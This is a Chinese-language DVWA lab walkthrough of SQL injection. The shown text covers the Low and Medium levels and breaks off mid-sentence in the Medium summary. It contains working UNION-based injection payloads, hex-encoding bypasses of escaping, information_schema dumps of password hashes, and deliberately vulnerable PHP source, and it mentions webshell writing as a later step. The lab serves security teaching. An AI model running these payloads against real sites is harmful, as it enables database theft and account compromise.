SQL 注入漏洞:SQL 语句拼接缺陷与全类型注入利用技术
-
- 前言
- [1 SQL注入核心理论基础](#1 SQL注入核心理论基础)
-
- [1.1 漏洞本质与定义](#1.1 漏洞本质与定义)
- [1.2 漏洞成立的三大必要条件](#1.2 漏洞成立的三大必要条件)
- [1.3 完整攻击链路](#1.3 完整攻击链路)
- [1.4 SQL注入与其他注入的核心区别](#1.4 SQL注入与其他注入的核心区别)
- [1.5 常见攻击场景与业务危害](#1.5 常见攻击场景与业务危害)
- [1.6 漏洞在安全榜单中的定位](#1.6 漏洞在安全榜单中的定位)
- [2 DVWA SQL注入实战:Low级别(黑盒思路)](#2 DVWA SQL注入实战:Low级别(黑盒思路))
-
- [2.1 注入点探测:先确认有没有洞](#2.1 注入点探测:先确认有没有洞)
- [2.2 猜解字段数:order by探测列数](#2.2 猜解字段数:order by探测列数)
- [2.3 定位回显位:Union联合查询](#2.3 定位回显位:Union联合查询)
- [2.4 信息收集:先摸清环境](#2.4 信息收集:先摸清环境)
- [2.5 脱库:从库名到表名到列名到数据](#2.5 脱库:从库名到表名到列名到数据)
- [2.6 源码审计(无过滤直接拼接)](#2.6 源码审计(无过滤直接拼接))
- [2.7 Low级别完整攻击思路总结](#2.7 Low级别完整攻击思路总结)
- [3 DVWA SQL注入实战:Medium级别(转义绕过)](#3 DVWA SQL注入实战:Medium级别(转义绕过))
-
- [3.1 注入点探测:看看防护升级了啥](#3.1 注入点探测:看看防护升级了啥)
- [3.2 猜解字段数:order by探测列数](#3.2 猜解字段数:order by探测列数)
- [3.3 定位回显位:Union联合查询](#3.3 定位回显位:Union联合查询)
- [3.4 信息收集:先摸清环境](#3.4 信息收集:先摸清环境)
- [3.5 脱库:注意字符串的绕过技巧](#3.5 脱库:注意字符串的绕过技巧)
- [3.6 源码审计(转义了但没完全转义)](#3.6 源码审计(转义了但没完全转义))
- [3.7 Medium级别完整攻击思路总结](#3.7 Medium级别完整攻击思路总结)
- [4 DVWA SQL注入实战:High级别(LIMIT限制绕过)](#4 DVWA SQL注入实战:High级别(LIMIT限制绕过))
-
- [4.1 注入点探测:新窗口的小把戏](#4.1 注入点探测:新窗口的小把戏)
- [4.2 猜解字段数:order by探测列数](#4.2 猜解字段数:order by探测列数)
- [4.3 定位回显位:LIMIT 1的第一个坑](#4.3 定位回显位:LIMIT 1的第一个坑)
- [4.4 信息收集:先摸清环境](#4.4 信息收集:先摸清环境)
- [4.5 脱库:LIMIT的两种绕过姿势](#4.5 脱库:LIMIT的两种绕过姿势)
- [4.6 源码审计(限制输出但不限制输入)](#4.6 源码审计(限制输出但不限制输入))
- [4.7 High级别完整攻击思路总结](#4.7 High级别完整攻击思路总结)
- [5 DVWA SQL注入实战:Impossible级别(安全防护闭环)](#5 DVWA SQL注入实战:Impossible级别(安全防护闭环))
-
- [5.1 Impossible级别:真的注不进去了](#5.1 Impossible级别:真的注不进去了)
- [5.2 源码审计(多层防护闭环)](#5.2 源码审计(多层防护闭环))
- [5.3 四个级别防护对比 & SQL注入防御总结](#5.3 四个级别防护对比 & SQL注入防御总结)
- 免责声明
前言
在 Web 安全领域,SQL 注入(SQL Injection) 无疑是最经典、危害最严重 的漏洞类型之一。从 1998 年首次公开披露 至今,二十多年 过去了,SQL 注入依然常年盘踞 OWASP Top 10 榜单前列 ,是每一位 Web 安全从业者必须掌握的核心技能。
很多初学者接触 SQL 注入时,往往停留在 "输个单引号报错就是注入" 的表层认知,对 Union 注入、报错注入、布尔盲注、时间盲注 等不同手法的适用场景与原理差异 缺乏系统性理解 。真正遇到实战环境时,要么不知道该用哪种注入手法 ,要么手工注入效率极低,半天跑不出一个库名。
无论你是刚入门 Web 安全的新手 ,还是有一定基础、想系统性梳理 SQL 注入体系的从业者,这篇文章都能给你带来价值。
1 SQL注入核心理论基础
1.1 漏洞本质与定义
SQL注入漏洞的本质,一句话概括就是:开发者将用户可控的输入,未经任何过滤和处理,直接拼接到SQL语句中执行,导致攻击者可以篡改SQL语句的原有逻辑,执行任意SQL命令。
举个最简单的例子,一个登录功能的后端代码可能是这样写的:
php
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysql_query($sql);
正常情况下,用户输入 admin 和 123456,SQL语句会变成:
sql
SELECT * FROM users WHERE username='admin' AND password='123456'
但如果攻击者在用户名输入框输入 admin' -- ,SQL语句就变成了:
sql
SELECT * FROM users WHERE username='admin' -- ' AND password='123456'
-- 是SQL的注释符,后面的内容全部被注释掉了,密码验证直接被绕过。这就是最经典的SQL注入万能密码。
所以SQL注入的核心就八个字:输入可控,语句可改。只要你能通过输入改变原有SQL语句的结构和逻辑,注入就成立了。
1.2 漏洞成立的三大必要条件
不是所有和数据库交互的地方都有注入,SQL注入的成立必须同时满足三个条件,缺一不可:
条件一:参数用户可控
前端传入的参数(GET/POST/Cookie等),后端直接接收使用,没有做严格的白名单校验。用户能控制输入什么,这是前提。
条件二:参数带入数据库查询
用户可控的参数,被直接拼接到SQL语句中,并且这条SQL语句确实被数据库执行了。如果参数只是用来做逻辑判断、没有进数据库,那再怎么输也不会有注入。
条件三:数据库报错信息可利用(或可通过其他方式判断)
严格来说这不是必要条件,但它决定了注入的难度和类型。如果页面能直接回显数据库报错,那就是报错注入;如果能根据页面内容差异判断真假,就是布尔盲注;如果啥都没有只能靠时间延迟,就是时间盲注。
三个条件同时满足,SQL注入漏洞就成立了。
1.3 完整攻击链路
很多人以为SQL注入就是"输个Payload拿数据",但完整的SQL注入攻击其实是一个层层递进、环环相扣的系统化过程。从发现一个可疑的注入点,到最终拿到服务器权限,通常要经历四个核心阶段:
| 攻击阶段 | 核心目标 | 关键操作 | 产出结果 |
|---|---|---|---|
| ① 注入点探测 | 确认漏洞是否存在 | 单引号/双引号测语法报错、and 1=1/and 1=2 测布尔差异、sleep() 测时间延迟 |
确定注入类型、闭合方式、利用难度 |
| ② 信息收集 | 摸清数据库环境 | order by 猜解字段数、union select 定位回显位、内置函数查库名/版本/用户/系统 |
掌握当前数据库的基本信息和可利用点 |
| ③ 数据窃取 | 获取核心业务数据 | 查 information_schema.schemata 脱库 → 查 tables 解表 → 查 columns 爆列 → 拖取字段数据 |
拿到目标库的所有表结构和核心数据 |
| ④ 提权GetShell | 突破到操作系统层 | into outfile 写WebShell、load_file() 读敏感文件、UDF/MOF提权 |
拿到服务器操作系统权限,实现完全控制 |
四个阶段层层深入、逐步升级:从"确认有洞"到"能拿数据"再到"能控机器",攻击的危害等级不断攀升。我们后面DVWA的实操也会严格按照这个思路来走,每一步都讲清楚原理和操作。
1.4 SQL注入与其他注入的核心区别
很多初学者容易把各种注入搞混,这里简单区分一下:
| 注入类型 | 注入位置 | 执行环境 | 危害对象 | 典型特征 |
|---|---|---|---|---|
| SQL注入 | SQL语句中 | 数据库引擎 | 数据库数据 | ' 闭合、union select、sleep() |
| 命令注入 | 系统命令中 | 操作系统Shell | 服务器系统 | ;、` |
| 代码注入 | 代码语句中 | 应用程序解释器 | 应用和服务器 | eval()、assert()、${} 执行代码 |
简单来说:
- SQL注入打的是数据库,用的是SQL语法
- 命令注入打的是操作系统,用的是系统命令
- 代码注入打的是应用本身,用的是开发语言的语法
三者的核心都是"输入可控+语句可改",但执行的环境和危害的对象完全不同。从危害程度来说,命令注入和代码注入通常可以直接GetShell,危害更大;SQL注入主要是数据泄露,但如果数据库权限高,也能进一步GetShell。
1.5 常见攻击场景与业务危害
SQL注入在实战中非常常见,几乎所有和数据库交互的地方都可能出现。典型的注入点包括:
- 登录框:万能密码绕过登录(最经典)
- 搜索框:搜索条件拼接SQL查询
- 商品列表/文章列表:分类参数、排序参数注入
- URL参数 :比如
?id=1这种GET参数注入 - Cookie/Header:后端从Cookie或请求头取值拼接SQL
- 盲注场景:没有任何回显,只能靠真假或时间判断
SQL注入的业务危害是毁灭性的:
- 数据泄露:用户账号密码、手机号、身份证、银行卡等核心数据被拖库
- 数据篡改:修改订单金额、篡改用户余额、提升自身权限
- 数据删除:删库删表,直接导致业务瘫痪
- 服务器沦陷:利用数据库读写权限写Shell,进而控制整台服务器
这也是为什么SQL注入这么多年来一直是Web安全的头号大敌。
1.6 漏洞在安全榜单中的定位
SQL注入在各大安全榜单中的地位非常稳定:
OWASP Top 10(2021版)
- 排名第3:Injection(注入类漏洞,包含SQL注入、命令注入等)
- 从2003年OWASP Top 10发布至今,注入类漏洞从未跌出过前三名
CNVD/CVD 国家信息安全漏洞共享平台
- SQL注入常年占据Web类漏洞数量前列
- 是国内等保测评、护网行动中最常见的漏洞类型之一
CTF比赛
- SQL注入是Web方向的必考题,几乎每场CTF都有注入题
- 考察形式从基础的Union注入到复杂的二次注入、堆叠注入,花样百出
可以说,SQL注入是Web安全的基本功 ,也是试金石。你对SQL注入的理解深度,很大程度上决定了你Web安全的天花板。
2 DVWA SQL注入实战:Low级别(黑盒思路)
2.1 注入点探测:先确认有没有洞
打开DVWA,把难度调到Low,进入SQL Injection模块。页面很简单,一个输入框让你输入User ID,下面会显示对应的用户信息。
第一步:正常输入,摸清基线
先输个 1,看看正常返回是什么样的:

正常返回了一条用户数据,说明这个参数确实在查数据库。
第二步:单引号测试------最经典的注入探测手法
输个单引号 ',看看会不会报错。

报错了! 而且是MySQL语法错误,这说明我们输入的单引号被带到了SQL语句里,破坏了原有语法结构。这是SQL注入最明显的信号。
从报错信息 near ''''' 可以推断:原SQL语句大概是 WHERE id = '1' 这种形式,我们输的 ' 被直接拼进去,变成了 WHERE id = ''',多出来的单引号导致语法错误。
第三步:逻辑真假测试------确认注入可控
光报错还不够,得确认我们能控制SQL逻辑。输 1' and '1'='1:

正常返回数据,因为 '1'='1 是恒真条件。
再输 1' and '1'='2:
没有返回数据! 因为 '1'='2 是恒假条件。
一个返回数据、一个不返回,说明我们输入的SQL逻辑被数据库执行了------注入点确认存在 ,而且是字符型注入(用单引号闭合)。
2.2 猜解字段数:order by探测列数
确认有注入后,下一步要知道这条SQL查询返回了几列数据,后面才能用Union联合查询。
用 order by 来猜:order by N 的意思是按第N列排序,如果N超过实际列数就会报错。
输 1' order by 1 -- :正常返回,说明至少1列

输 1' order by 2 -- :正常返回,说明至少2列

输 1' order by 3 -- :报错了!

结论:这条SQL查询返回2列数据。
注意后面的
--(两个减号加一个空格)是SQL注释符,用来把原SQL语句后面的内容注释掉,避免干扰我们的注入语句。这是字符型注入的标准操作。
2.3 定位回显位:Union联合查询
知道了2列,接下来用 union select 看看哪一列会回显到页面上。
输 1' union select 1,2 -- :

哎?怎么还是显示admin?因为union联合查询要求前后两条select的列数相同,但页面可能只显示第一条结果。
这里我反正是可以直接看见的
小技巧:让前面的查询返回空,就能看到union的结果了。
原理:
- 前半段:WHERE id='0'
数据库查找 id=0 的数据,数据表不存在这条记录 → 第一条查询返回空数据集。- 后半段:UNION SELECT 1,2,''
固定常量,永远返回一行数据。
合并后的总结果:只有 (1,2,'') 这一行。
页面遍历合并结果,只能读到这行数字,于是直接把 1、2 打印出来。
把id改成一个不存在的值,比如 0' union select 1,2 -- :
此时

出来了! First name显示的是第1列(值为1),Surname显示的是第2列(值为2)。
两列都能回显,后面我们想查什么数据,直接替换对应的位置就行。
2.4 信息收集:先摸清环境
有了回显位,先查一些基础信息,了解当前数据库环境。
查数据库名和当前用户:
sql
0' union select database(), user() --
返回:

页面返回结果:
First name:dvwa(database()查询当前使用的数据库)
Surname:dvwa@localhost(user() 查询当前登录数据库的账号与访问地址)
提取信息:
当前业务数据库:dvwa
当前数据库连接用户:dvwa@localhost
查MySQL版本:
sql
0' union select version(), @@version_compile_os --

返回:
- MySQL版本:5.7.26
- 操作系统:Windows 64位
这些信息很重要,后面查系统表、读写文件都要用到。
2.5 脱库:从库名到表名到列名到数据
信息收集完了,开始正式脱库。SQL注入脱库有标准的四步走:库 → 表 → 列 → 数据。
MySQL 5.0以上有个 information_schema 系统库,里面存着所有数据库的元信息,这是我们脱库的钥匙。
第一步:查所有数据库名
sql
0' union select schema_name, schema_name from information_schema.schemata --
这里发生了报错:UNION 操作使用了两种不同字符集排序规则,MySQL 不允许直接拼接,字符编码冲突。

这里我们使用转换字符集
sql
0' union select convert(schema_name using utf8mb4),convert(schema_name using utf8mb4) from information_schema.schemata --

对应页面截图效果解读:
页面循环输出SQL查询到的每一条库记录,分成两组展示:
- 第一组输出:
bash
ID: 0' union select convert(schema_name using utf8mb4),convert(schema_name using utf8mb4) from information_schema.schemata --
First name: information_schema
Surname: information_schema
代表第一条数据库名为information_schema(MySQL自带系统元数据库)。
- 第二组输出:
bash
ID: 0' union select convert(schema_name using utf8mb4),convert(schema_name using utf8mb4) from information_schema.schemata --
First name: dvwa
Surname: dvwa
代表第二条数据库名为dvwa,也就是本次靶场的目标业务库。
该写法会将每个库单独分行展示,数据库数量多时页面会生成大量模块,查看繁琐。
优化技巧:使用group_concat()将全部库名拼接为一行字符串,一次性读取所有库:
sql
0' union select convert(group_concat(schema_name) using utf8mb4),2 from information_schema.schemata --

执行后页面仅输出一组内容,First name位置会用逗号分隔展示全部数据库名称,快速筛选出目标业务库dvwa。
第二步:分行查询 dvwa 库所有表
0' union select convert(table_name using utf8mb4),2 from information_schema.tables where table_schema=database() --

讲解:
这里去掉了 group_concat,改为直接查询 table_name 字段,SQL会返回多行数据 ,每行对应一个表名;页面会和之前显示两个admin的逻辑一样,循环遍历每一条表记录,逐行输出,比挤在一行里更清晰。
convert(table_name using utf8mb4) 还是用来解决 information_schema 和业务表的字符集冲突,避免UNION报错;table_schema=database() 自动匹配当前 dvwa 库,不用硬写库名,兼容性更强。
从截图可以看到,页面输出了两组结果,对应dvwa库的两个表:
- 第一组
First name: guestbook→ 留言板表,存用户留言数据 - 第二组
First name: users→ 用户表,存储网站账号密码,是我们脱库的核心目标。
第三步:分行查询 users 表所有列
0' union select convert(column_name using utf8mb4),2 from information_schema.columns where table_name='users' and table_schema=database() --

讲解:
这一步从 information_schema.columns 系统表查 users 表的所有字段名;加 table_schema=database() 是为了限定只查当前dvwa库的users表,避免其他库存在同名表时查错数据。
同样是逐行返回结果,页面会循环输出每一个字段名,方便我们快速定位账号密码对应的字段。
从截图可以看到users表的所有字段,按顺序依次输出:
user_id、first_name、last_name、user、password、avatar、last_login、failed_login
其中核心目标字段是:
user:存储用户名password:存储用户密码(加密后的哈希值)
第四步:分行读取用户账号密码
0' union select convert(user using utf8mb4),convert(password using utf8mb4) from dvwa.users --

讲解:
到这一步就正式拖取核心数据了,直接查询 dvwa.users 表里的 user 和 password 两个字段,分别对应页面的 First name(第2列)和 Surname(第3列)回显位;两个字段都加了 convert 转字符集,避免拼接时报错。
SQL会返回所有用户的账号密码记录,页面循环输出每一条用户数据,每个账号单独一组,一目了然。
从截图可以看到所有用户的账号和加密密码:
admin对应密码哈希5f4dcc3b5aa765d61d8327deb882cf99gordonb对应密码哈希e99a18c428cb38d5f260853678922e031337对应密码哈希8d3533d75ae2c3966d7e0d4fcc69216bpablo对应密码哈希0d107d09f5bbe40cade3de5c71e9e9b7smithy对应密码哈希5f4dcc3b5aa765d61d8327deb882cf99
这些密码都是MD5加密后的哈希值,复制到CMD5等在线解密平台,就能得到明文密码,比如 admin 的密码解密后是 password。
2.6 源码审计(无过滤直接拼接)
黑盒测试完成后,我们查看源码验证防护机制是否缺失。
SQL Injection Low级别源码路径:/vulnerabilities/sqli/source/low.php
php
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
break;
case SQLITE:
global $sqlite_db_connection;
#$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
#$sqlite_db_connection->enableExceptions(true);
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
?>
源码逐行分析:
- 获取用户可控输入
php
$id = $_REQUEST[ 'id' ];
通过$_REQUEST接收前端id参数,GET、POST传参均可触发漏洞,不存在过滤、转义、类型强转等任何输入校验,用户传入的单引号、SQL关键字、注释符全部原样带入后续SQL语句。
- 拼接SQL语句执行查询
php
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query )
代码将未处理的$id直接拼接进SQL查询,使用单引号包裹变量,属于字符型注入漏洞。程序未采用预处理语句分离SQL结构与用户输入,MySQL、SQLite两套数据库逻辑均存在相同拼接漏洞。
正常输入1,拼接SQL为SELECT first_name, last_name FROM users WHERE user_id = '1';;
注入输入1' or 1=1 -- ,拼接后完整SQL为SELECT first_name, last_name FROM users WHERE user_id = '1' or 1=1 -- ';,单引号闭合原有语句,新增永真查询条件,注释符屏蔽剩余语法。
- 数据库错误直接回显
php
or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
SQL执行失败时直接打印原生数据库报错信息,页面会泄露库名、表名、字段名、SQL语法结构,大幅降低手工注入的难度,方便攻击者快速脱库。
- 查询结果页面回显
php
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
SQL查询到的数据直接输出至页面,属于有回显联合注入,可直接读取数据库内账号、密码等敏感数据。
一句话总结 Low 级别: 全程无任何安全防护,可控参数直接拼接SQL语句执行查询,同时开启详细数据库错误回显,是最基础的字符型SQL注入场景,利用门槛极低,可完整读取、遍历数据库全部数据。
2.7 Low级别完整攻击思路总结
DVWA SQL Injection Low难度无任何输入过滤、转义防护,属于标准字符型Union联合查询注入,完整攻击链路分为6大阶段,纯黑盒即可完成从漏洞探测到完整脱库:
- 注入点探测,确认漏洞类型
- 输入正常ID
1,观察页面数据库查询回显,确认参数参与SQL查询; - 输入单引号
'触发MySQL语法报错,证明输入内容直接拼接SQL; - 通过
1' and '1'='1(正常返回)、1' and '1'='2(无数据)真假逻辑测试,确定为单引号闭合字符型注入。
- 输入正常ID
- Order by猜解查询列数
利用order by N按第N列排序的特性,不断增大数字测试,order by 3报错、order by 2正常,判定页面查询SQL共返回2列数据,满足Union查询列数匹配要求。 - Union查询定位页面回显位
- 输入存在数据ID
1' union select 1,2 --,结果集包含真实用户数据+自定义数字两行,页面优先展示真实数据; - 改用不存在ID
0' union select 1,2 --清空前半段查询结果,仅保留自定义常量行,确定:First name对应查询第2列、Surname对应查询第3列,两处均为有效数据回显位。
- 输入存在数据ID
- 基础环境信息收集
借助MySQL内置函数,通过回显位获取数据库环境关键信息:database():查询当前业务库名dvwa;user():查询数据库连接账号dvwa@localhost;version()/@@version_compile_os:获取MySQL版本、服务器操作系统,为后续高级利用做铺垫。
- 四层标准脱库流程(库→表→列→数据)
MySQL5.0+内置information_schema系统库存储全库元数据,因系统库与业务表字符集校对规则冲突,所有查询字段添加convert(字段 using utf8mb4)统一编码,规避UNION报错:- 查询所有数据库:读取
schemata表获取全部库名,筛选目标业务库dvwa; - 查询目标库数据表:限定
table_schema=database(),读取tables表得到guestbook、users两张表,锁定用户核心表users; - 查询目标表字段:同时限定库名+表名,读取
columns表拿到users表全部字段,锁定账号user、密码password; - 读取核心敏感数据:直接查询
dvwa.users表,分行输出所有用户名与MD5加密密码。
- 查询所有数据库:读取
- 数据解密收尾
获取到的密码为MD5哈希密文,通过在线解密平台还原明文,拿到网站后台登录凭证。
核心攻击要点
- 闭合符号:单引号
'闭合原始SQL字符串;注释符--屏蔽后置语句; - 报错解决:读取
information_schema系统表时必须使用convert()统一字符集,消除UNION校对冲突报错; - 两种输出模式:无
group_concat分行逐条展示数据,方便逐条核对;group_concat合并所有结果为单行,快速概览全部内容; - 漏洞根源:后端未对用户输入做转义、过滤,直接拼接至SQL语句执行,完全可控查询逻辑。
这就是最经典的Union联合查询注入,也是SQL注入的基础中的基础。后面Medium和High级别会加入各种过滤,我们再看怎么绕过。
3 DVWA SQL注入实战:Medium级别(转义绕过)
3.1 注入点探测:看看防护升级了啥
把DVWA难度调到Medium,再进SQL Injection模块。哎?不对,输入框没了,变成下拉选择框了,只能选1到5的User ID。

前端做了限制,不让我们随便输入了。但前端限制都是纸老虎,后端才是关键。我们抓包看看参数怎么传的。
用BurpSuite抓个包,发现还是POST提交的id参数,值就是选的数字。

第一步:单引号测试------转义了吗?
把id改成1',发出去看看:

我们在Repeater构造POST请求,提交参数 id=1'&Submit=Submit,security级别为medium,发送后观察返回包:
页面直接抛出MySQL语法报错:You have an error in your SQL syntax ... near '\'' at line 1
报错含义拆解
- 我们传入的payload是单引号
'; - 后端执行
mysqli_real_escape_string转义,把'替换成了\'; - Medium的SQL语句是无引号数字型:
WHERE user_id = $id; - 拼接后完整SQL:
WHERE user_id = 1\';
反斜杠只是转义符,无法闭合语句,\'被数据库识别为非法字符,直接触发SQL语法错误。
结论
单引号已经被后端转义函数处理,字符型注入路径被彻底拦截,不能再用单引号闭合的方式注入,必须切换为不需要引号的数字型注入 payload。
第二步:数字逻辑测试------不用引号能不能注入?
单引号被转义了不要紧,我们试试不用单引号能不能注入。
传 1 and 1=1:

正常返回数据。
再传 1 and 1=2:

没有返回数据!
一个有数据、一个没数据------注入点确认存在! 而且是数字型注入,根本不需要单引号,转义了个寂寞。
原理:
Low级别SQL是
WHERE user_id = '$id'(字符型,有单引号包裹)Medium级别SQL大概率是
WHERE user_id = $id(数字型,没有单引号)数字型注入直接写数字和逻辑运算符就行,不需要单引号闭合,所以
mysqli_real_escape_string转义单引号完全没用。
3.2 猜解字段数:order by探测列数
和Low级别一样,用order by猜列数。
传 1 order by 2 -- :正常返回,说明至少2列
传 1 order by 3 -- :报错了!
结论:还是2列数据。 列数没变,只是注入方式从字符型变成了数字型。
注意:数字型注入的注释符
--后面有没有空格都行,因为后面本来就没有多余的单引号需要注释掉。但养成加空格的习惯总没错。
3.3 定位回显位:Union联合查询
知道了2列,继续用union select看回显位。
传 0 union select 1,2 -- :

出来了! First name是第1列(值为1),Surname是第2列(值为2)。
和Low级别一样,两列都能回显,后面查数据直接替换位置就行。
3.4 信息收集:先摸清环境
有了回显位,先查基础信息。数字型注入直接写,不用管单引号。
查数据库名和当前用户:
sql
0 union select database(), user() --

返回:
- First name:
dvwa(当前数据库名) - Surname:
dvwa@localhost(数据库连接用户)
查MySQL版本和操作系统:
sql
0 union select version(), @@version_compile_os --

返回:
- MySQL版本:5.7.26
- 操作系统:Windows 64位
和Low级别环境一样,没啥变化。
3.5 脱库:注意字符串的绕过技巧
信息收集完了,开始脱库。数字型注入本身没问题,但脱库的时候会遇到一个坑:where条件里的字符串需要单引号,而单引号被转义了。
比如查dvwa库的表,正常写是:
sql
0 union select table_name,2 from information_schema.tables where table_schema='dvwa' --
这里'dvwa'有单引号,会被转义成\'dvwa\',导致SQL语法出错或者查不到数据。
绕过方法:十六进制编码字符串
把字符串转成十六进制,前面加0x,MySQL会自动识别。比如dvwa的十六进制是0x64767761。
怎么转十六进制?BurpSuite里有编码功能,或者随便找个在线工具,字符串转十六进制就行。注意不要带引号,直接转纯文本。
第一步:查所有数据库名
sql
0 union select schema_name, schema_name from information_schema.schemata --
这里where条件,直接查就行。和Low级别一样,会返回所有数据库名。如果遇到字符集报错,同样用convert(... using utf8mb4)解决:
sql
0 union select convert(schema_name using utf8mb4),convert(schema_name using utf8mb4) from information_schema.schemata --

返回两个库:information_schema和dvwa。
第二步:查 dvwa 库所有表(重点:字符串绕过)
这里where条件需要限定库名table_schema='dvwa',单引号被转义了,所以用十六进制绕过:
sql
0 union select convert(table_name using utf8mb4),2 from information_schema.tables where table_schema=0x64767761 --

讲解:
0x64767761就是字符串dvwa的十六进制表示。MySQL遇到0x开头的内容会自动按十六进制解析成字符串,效果和'dvwa'一模一样,但全程没有单引号,完美绕转义。当然你也可以直接用
database()函数代替,更方便:where table_schema=database(),连编码都省了。
返回两张表:guestbook和users。目标还是users表。
第三步:查 users 表所有列
查列名也需要where条件,表名是字符串,同样用十六进制绕过。users的十六进制是0x7573657273。
sql
0 union select convert(column_name using utf8mb4),2 from information_schema.columns where table_name=0x7573657273 and table_schema=0x64767761 --

或者偷懒用database():
sql
0 union select convert(column_name using utf8mb4),2 from information_schema.columns where table_name=0x7573657273 and table_schema=database() --
返回users表所有字段:
user_id、first_name、last_name、user、password、avatar、last_login、failed_login
核心字段还是user和password。
第四步:读取用户账号密码
最后一步直接查数据,这一步没有where条件的字符串了,直接查就行:
sql
0 union select convert(user using utf8mb4),convert(password using utf8mb4) from dvwa.users --

讲解:
dvwa.users这种库名.表名的写法,库名和表名都是标识符,不是字符串,不需要加引号,所以直接写就行,不会被转义影响。
返回所有用户的账号和MD5加密密码:
admin→5f4dcc3b5aa765d61d8327deb882cf99gordonb→e99a18c428cb38d5f260853678922e031337→8d3533d75ae2c3966d7e0d4fcc69216bpablo→0d107d09f5bbe40cade3de5c71e9e9b7smithy→5f4dcc3b5aa765d61d8327deb882cf99
和Low级别拿到的数据一模一样,脱库完成。
3.6 源码审计(转义了但没完全转义)
黑盒测完了,我们看看源码,确认一下Medium级别到底加了什么防护,又为什么没用。
Medium级别源码路径:/vulnerabilities/sqli/source/medium.php
php
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
?>
源码逐行分析:
- 获取输入并转义(第4-5行)
php
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
Medium级别比Low多了一行mysqli_real_escape_string,会把单引号'转义成\',双引号、反斜杠等特殊字符也会被转义。这是PHP里最常见的SQL注入防护手段之一。
而且输入从$_REQUEST变成了$_POST,只能POST传参,GET不行了。
- 拼接SQL语句(第9行)
php
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
重点来了! 这里的$id没有被单引号包裹,是数字型查询。
Low级别是 WHERE user_id = '$id'(字符型,有引号)
Medium级别是 WHERE user_id = $id(数字型,无引号)
这就很尴尬了------mysqli_real_escape_string只能转义引号、反斜杠这些字符串里的特殊字符,但数字型注入根本不需要引号,直接写and 1=1、union select这些SQL关键字就行,转义函数完全发挥不了作用。
- 错误回显和结果输出
php
or die( mysqli_error(...) );
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
和Low级别一样,数据库错误直接回显,查询结果直接输出。报错信息依然能辅助注入,回显位依然能直接读数据。
- 前端下拉框限制
源码里看不到前端限制,但实际页面是下拉选择框,只能选1-5。这属于前端防护,抓包改参数就能绕过,形同虚设。
一句话总结 Medium 级别: 看起来加了mysqli_real_escape_string转义防护,还把输入框改成了下拉框,但SQL查询从字符型变成了数字型,转义函数完全没用;前端限制抓包就能绕,本质上和Low级别一样好打,只是注入方式从字符型变成了数字型。
3.7 Medium级别完整攻击思路总结
DVWA SQL Injection Medium难度新增了mysqli_real_escape_string转义和前端下拉框限制,但因SQL查询为数字型(无单引号包裹),转义防护完全失效,属于数字型Union联合查询注入,完整攻击链路如下:
-
前端限制绕过
页面输入框变为下拉选择框,仅能选择1-5的固定ID,通过BurpSuite抓包修改POST请求中的
id参数,突破前端限制,实现任意输入。 -
注入点探测与类型确认
- 输入单引号
1'测试,页面正常返回无报错,证明单引号被转义('→\'),字符型注入路径被封堵; - 改用数字逻辑测试:
1 and 1=1正常返回数据、1 and 1=2无数据,确认存在数字型注入,无需单引号即可控制SQL逻辑。
- 输入单引号
-
Order by猜解查询列数
数字型注入直接使用
